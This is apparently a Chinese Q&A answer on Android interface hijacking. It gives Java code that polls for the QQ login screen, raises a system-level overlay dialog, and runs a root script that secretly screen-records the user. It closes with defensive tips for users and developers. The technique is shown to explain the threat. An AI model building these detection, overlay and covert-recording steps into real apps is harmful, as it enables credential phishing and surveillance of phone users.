+
97
-

回答

两种方式,一种是界面劫持

一、 界面劫持原理

恶意应用会利用后台服务,持续检测当前手机界面是否为目标应用(例如QQ登录界面)。一旦检测到目标界面,就会立即显示高仿的ui界面遮盖qq登录界面,实现劫持。

二、 代码示例

1. 后台服务检测

以下代码展示了恶意应用如何利用后台服务检测目标界面:

new Thread(new Runnable() {

    @Override
    public void run() {
        Looper.prepare();
        while (true) {
            ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
            List<RunningTaskInfo> tasks = am.getRunningTasks(1);
            if (tasks.get(0).topActivity.getClassName().equals("com.tencent.mobileqq.activity.LoginActivity")) {
                inject();
                RunAsRooter();
                break;
            }
            try {
                Thread.sleep(500);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
        Looper.loop();

    }
}).start();

代码解析:

循环检测当前运行的Activity,判断其包名是否为QQ登录界面。如果检测到目标界面,则调用 inject() 和 RunAsRooter() 方法。设定 500ms 的检测间隔,防止频繁检测导致系统卡顿。

2. 弹窗劫持

以下代码展示了如何利用系统弹窗劫持用户操作:

private void inject() {
    AlertDialog.Builder builder = new AlertDialog.Builder(this);
    builder.setTitle("提示");
    builder.setMessage("你的界面已经被劫持了");

    final AlertDialog dialog = builder.create();

    dialog.getWindow().setType((WindowManager.LayoutParams.TYPE_SYSTEM_ALERT));
    dialog.show();
}

代码解析:

创建一个系统弹窗,并设置标题和内容。将弹窗设置为系统级弹窗,使其无法被用户关闭。

3. 后台监控

恶意应用可以通过以下代码,利用root权限启动后台录像,监控用户操作:

private void RunAsRooter() {
    try {
        Runtime.getRuntime().exec("su -c /sdcard/run.sh").waitFor();
    } catch (IOException e) {
        e.printStackTrace();
    } catch (InterruptedException e) {
        e.printStackTrace();
    }
}

代码解析:

脚本文件 run.sh 中包含以下代码:
  screenrecord --time-limit 30 /sdcard/demo.mp4
该脚本利用 screenrecord 命令进行录像,并保存至SD卡中。

三、 总结

恶意应用通过界面劫持和后台监控,可以获取用户的敏感信息,例如账户密码、短信验证码、聊天记录等。因此,用户应避免root手机,并谨慎安装来源不明的应用程序。

为了保障手机安全,用户应采取以下措施:

不要root手机:root手机会导致手机失去官方保障,更容易被恶意应用攻击。只安装官方应用市场提供的应用:官方应用市场会对应用进行严格审核,降低恶意应用的风险。及时更新系统和应用:系统和应用的更新往往包含安全补丁,可以修复已知的安全漏洞。开启手机安全软件:手机安全软件可以帮助检测和拦截恶意应用,保护手机安全。

手机安全是一个复杂而重要的议题,用户应提高安全意识,并采取相应的措施保护手机安全。

如果你是app开发这就要在onpause中检测你的app是否在最前面,如果不在就要告诉用户app已经在退出到后台了,当前是其他app的界面。

网友回复

我知道答案,我要回答